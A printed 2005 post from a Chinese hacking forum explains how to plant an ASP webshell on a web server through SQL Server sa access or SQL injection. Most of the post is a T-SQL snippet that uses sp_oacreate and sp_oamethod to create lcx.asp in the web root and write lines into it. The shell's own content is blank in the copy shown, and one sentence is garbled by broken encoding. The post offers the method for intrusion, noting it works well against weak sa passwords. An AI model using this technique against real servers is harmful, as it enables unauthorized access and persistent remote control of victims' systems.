Board logo

标题: sa权限突破 [打印本页]

作者: 千與千尋    时间: 2005-1-16 02:45     标题: sa权限突破

不知道大家看没看过LCX的那篇(对SA权限的再突破) 我认为那真的是太经典了~ 但是发现没有,他写入的WEBSHELL是CMD。ASP 这个东西不怎么用的着, 最好就是有个个人版的SHELL, 于是我把其中的代码改了,。。。 如下:
SQL查询分析器连接过去declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate 'scripting.filesystem**', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\\inetpub\\wwwroot\\lcx.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, '' exec @ret = sp_oamethod @f, 'writeline', NULL, ''
后来自己研究发现。。对一些没权限的主机。在SQL注入的时候,也可以用declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate 'scripting.filesystem**', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\\inetpub\\wwwroot\\lcx.asp', 1 这样的格式来写入得到SHELL, xiaolu大哥的最小的SHELL写入文件的时候都差不嗍钦飧鲈砝吹? 大家灵活运用才对,这招对于得到SA弱口令的时候特别管用





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2